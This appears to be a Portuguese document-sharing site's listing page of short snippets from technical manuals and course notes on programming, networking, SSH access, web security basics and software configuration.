Com o smartmessage podemos de forma muito fácil e usando um qualquer cliente de email, como por exemplo: O smartmessage torna muito fácil a tarefa de enviar ou receber mensagens de texto SMS (ou emails). Com o smartmessage podemos de forma muito fácil e usando um qualquer cliente de email, como por exemplo:

Leia mais

P S I 2. º A N O F 5 M E S T R E / D E T A L H E E P E S Q U I S A. Criar uma relação mestre-detalhe. Pesquisa de informação

P S I 2. º A N O F 5 M E S T R E / D E T A L H E E P E S Q U I S A. Criar uma relação mestre-detalhe. Pesquisa de informação P S I 2. º A N O F 5 M E S T R E / D E T A L H E E P E S Q U I S A Módulo 18 Ferramentas de Desenvolvimento de Páginas Web Criar uma relação mestre-detalhe 1. Cria uma cópia da página «listaferram.php»

Leia mais

MANUAL DE UTILIZAÇÃO TERMINAL DE PORTA

MANUAL DE UTILIZAÇÃO TERMINAL DE PORTA MANUAL DE UTILIZAÇÃO TERMINAL DE PORTA www.xdsoftware.pt Resumo da Aplicação O XD Terminal de Porta é um módulo do XD Disco destinado a coletores de dados com o sistema operativo Windows mobile. Junta

Leia mais

Agrupamento Vertical de S. Lourenço - Ermesinde

Agrupamento Vertical de S. Lourenço - Ermesinde Agrupamento Vertical de S. Lourenço - Ermesinde 1 Configurações de acesso à Internet na Escola EB 2,3 de S. Lourenço Manual do Utilizador 2 Configuração para Windows Antes de iniciar os passos de configuração

Leia mais

Universidade da Beira Interior Cursos: Matemática /Informática e Ensino da Informática

Universidade da Beira Interior Cursos: Matemática /Informática e Ensino da Informática Folha 1-1 Introdução à Linguagem de Programação JAVA 1 Usando o editor do ambiente de desenvolvimento JBUILDER pretende-se construir e executar o programa abaixo. class Primeiro { public static void main(string[]

Leia mais

Guia de usuário do portal de acesso SSH

Guia de usuário do portal de acesso SSH Guia de usuário do portal de acesso SSH 18 de novembro de 2010 O acesso ao MASTER via SSH foi reformulado para garantir a segurança e reduzir os pontos falhos no sistema. Para o usuário comum a única modificação

Leia mais

Introdução ao Sistema. Características

Introdução ao Sistema. Características Introdução ao Sistema O sistema Provinha Brasil foi desenvolvido com o intuito de cadastrar as resposta da avaliação que é sugerida pelo MEC e que possui o mesmo nome do sistema. Após a digitação, os dados

Leia mais

Como o FIT funciona. FIT: Framework for Integrated Tests FIT. http://fit.c2.com. Dados de testes. Programa. Fixtures. classes. Resultados de testes

Como o FIT funciona. FIT: Framework for Integrated Tests FIT. http://fit.c2.com. Dados de testes. Programa. Fixtures. classes. Resultados de testes Como o FIT funciona FIT: Framework for Integrated Tests http://fit.c2.com Dados de testes Fixtures Programa classes FIT Resultados de testes Universidade Portucalense Engenharia de Software ES04 2014-2015

Leia mais

Programação Web Prof. Wladimir

Programação Web Prof. Wladimir Programação Web Prof. Wladimir Linguagem de Script e PHP @wre2008 1 Sumário Introdução; PHP: Introdução. Enviando dados para o servidor HTTP; PHP: Instalação; Formato básico de um programa PHP; Manipulação

Leia mais

Fundamentos de Programação

Fundamentos de Programação Fundamentos de Programação CP41F Conversão de tipos. Alocação dinâmica de memória. Recursão. Aula 16 Prof. Daniel Cavalcanti Jeronymo Universidade Tecnológica Federal do Paraná (UTFPR) Engenharia de Computação

Leia mais

Novo Formato de Logins Manual de Consulta

Novo Formato de Logins Manual de Consulta Gestão Integrada de Acessos Novo Formato de Logins Manual de Consulta Gestão Integrada de Acessos Histórico de Alterações Versão Descrição Autor Data 1.0 Versão inicial DSI/PPQ 2014-07-11 Controlo do documento

Leia mais

Camada de Aplicação. Prof. Eduardo

Camada de Aplicação. Prof. Eduardo Camada de Aplicação RC Prof. Eduardo Introdução Você sabe que existem vários tipos de programas na Internet? - Talvez você já tenha notado que existem vários programas diferentes para cada um desses tipos.

Leia mais

EAmb V.1 ESPOSENDE AMBIENTE. GestProcessos Online. Manual do Utilizador

EAmb V.1 ESPOSENDE AMBIENTE. GestProcessos Online. Manual do Utilizador EAmb V.1 ESPOSENDE AMBIENTE GestProcessos Online Manual do Utilizador GestProcessos Online GABINETE DE SISTEMAS DE INFORMAÇÃO E COMUNICAÇÃO EAmb Esposende Ambiente, EEM Rua da Ribeira 4740-245 - Esposende

Leia mais

Comunicação entre pai e filho

Comunicação entre pai e filho Comunicação entre pai e filho Ao chamar um fork(), processos pai e filho deixam de compartilhar memória Como fazer então para que o resultado de um processo possa ser recebido pelo outro? Exemplos: Processo

Leia mais

Capítulo 5 Métodos de Defesa

Capítulo 5 Métodos de Defesa Capítulo 5 Métodos de Defesa Ricardo Antunes Vieira 29/05/2012 Neste trabalho serão apresentadas técnicas que podem proporcionar uma maior segurança em redes Wi-Fi. O concentrador se trata de um ponto

Leia mais

Prova de pré-requisito

Prova de pré-requisito Prova de pré-requisito Curso Python e Django 1. Ao se acessar o site www.google.com qual comando e parâmetros são enviados para o servidor pelo navegador? a. GET / b. GET www.google.com c. PAGE index.html

Leia mais

Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1

Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1 Segurança na Web Capítulo 9: Segurança em Aplicações Web Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW Page 1 Introdução Quando se fala em segurança na WEB é preciso pensar inicialmente em duas frentes:

Leia mais

Manual do Desenvolvedor Criptografia de Arquivos do WebTA

Manual do Desenvolvedor Criptografia de Arquivos do WebTA Manual do Desenvolvedor Criptografia de Arquivos do WebTA Versão 1.4 Índice 1. Objetivo..3 2. Processo..3 3. API de Criptografia - Biblioteca Java..4 3.1 WEBTACryptoUtil..4 3.1.1 decodekeyfile..4 3.1.2

Leia mais

MANUAL DO ADMINISTRADOR

MANUAL DO ADMINISTRADOR WinShare Proxy admin MANUAL DO ADMINISTRADOR Instalação do WinShare Índice 1. Instalação 2. Licenciamento 3. Atribuindo uma senha de acesso ao sistema. 4. Configurações de rede 5. Configurações do SMTP

Leia mais

O que é o JavaScript?

O que é o JavaScript? JavaScript Introdução O JavaScript é utilizado por milhões de páginas na web para melhorar o design, validar forms, e muito mais O JavaScript foi inicialmente desenvolvido pela Netscape e é a linguagem

Leia mais

Desenvolvendo MetasploitScanHTTP.pl para falhas HTTPS vulneráveis ao Metasploit. Inj3cti0n P4ck3t

Desenvolvendo MetasploitScanHTTP.pl para falhas HTTPS vulneráveis ao Metasploit. Inj3cti0n P4ck3t Desenvolvendo MetasploitScanHTTP.pl para falhas HTTPS vulneráveis ao Metasploit Inj3cti0n P4ck3t São Paulo 2010 Nome: Fernando Henrique Mengali de Souza Contato: fer_henrick@hotmail.com Linguagem de Programação:

Leia mais

Configuração dos portáteis utilizando os cabos de rede

Configuração dos portáteis utilizando os cabos de rede Configuração dos portáteis utilizando os cabos de rede O decréscimo do preço dos computadores portáteis originou uma subida exponencial do uso destes equipamentos. O IPCA, procurando acompanhar esta tendência,

Leia mais

Internet ou Net. É uma rede mundial de computadores ligados entre si através s de linhas telefónicas comuns.

Internet ou Net. É uma rede mundial de computadores ligados entre si através s de linhas telefónicas comuns. Internet Internet ou Net É uma rede mundial de computadores ligados entre si através s de linhas telefónicas comuns. Como Comunicam os computadores Os computadores comunicam entre si utilizando uma linguagem

Leia mais

BACKUP S IBERWEB MANUAL DE INSTALAÇÃO. Manual de Instalação Backup s IBERWEB (Versão1.0) 2008 IBERWEB, LDA. Todos os direitos reservados.

BACKUP S IBERWEB MANUAL DE INSTALAÇÃO. Manual de Instalação Backup s IBERWEB (Versão1.0) 2008 IBERWEB, LDA. Todos os direitos reservados. BACKUP S IBERWEB MANUAL DE INSTALAÇÃO INTRODUÇÃO Aproveitamos desde já para agradecer a sua adesão ao serviço de Backup s da IBERWEB. De seguida iremos apresentar as principais funcionalidades de um dos

Leia mais

Ameaças, riscos e vulnerabilidades Cont. Objetivos

Ameaças, riscos e vulnerabilidades Cont. Objetivos Ameaças, riscos e vulnerabilidades Cont. Prof. Esp. Anderson Maia E-mail: tecnologo.maia@gmail.com Objetivos entender a definição dos termos hacker, cracker e engenharia social; compreender a anatomia

Leia mais

Programação Web com Webdev 19 Julio Cesar Pedroso Conteúdo

Programação Web com Webdev 19 Julio Cesar Pedroso Conteúdo Conteúdo INTRODUÇÃO... 6 Como acessar a ajuda on line?... 6 Conhecendo o WebDev... 8 Iniciando o WebDev... 8 Ambiente de desenvolvimento... 8 O Editor... 8 A barra de menus... 10 Os botões... 10 Os painéis...

Leia mais

FUNCTION ) RETURNS INTEGER AS $$ DECLARE

FUNCTION ) RETURNS INTEGER AS $$ DECLARE PERFORM O comando PERFORM permite a execução de um comando SELECT desprezando o resultado do comando. PERFORM query; A variável especial FOUND é definida como verdadeiro se a instrução produzir pelo menos

Leia mais

ZSRest. Manual de Configuração. CheckOutPDA. V2011-Certificado

ZSRest. Manual de Configuração. CheckOutPDA. V2011-Certificado Manual de Configuração CheckOutPDA V2011-Certificado 1 1. Índice 2. Introdução... 2 3. Pré-requisitos... 3 a) Base de dados... 3 b) Firewall... 3 c) Rede sem fios... 3 d) PDA... 3 4. Instalar PDA... 4

Leia mais

1 - Configurar a ligação

1 - Configurar a ligação 1 - Configurar a ligação Abrir o Cx-Programmer e criar um novo ficheiro. Seleccionar o tipo de processador em Device Type CJ1M. Em Device Type - Settings escolher em CPU Type - CPU 12. Em seguida é necessário

Leia mais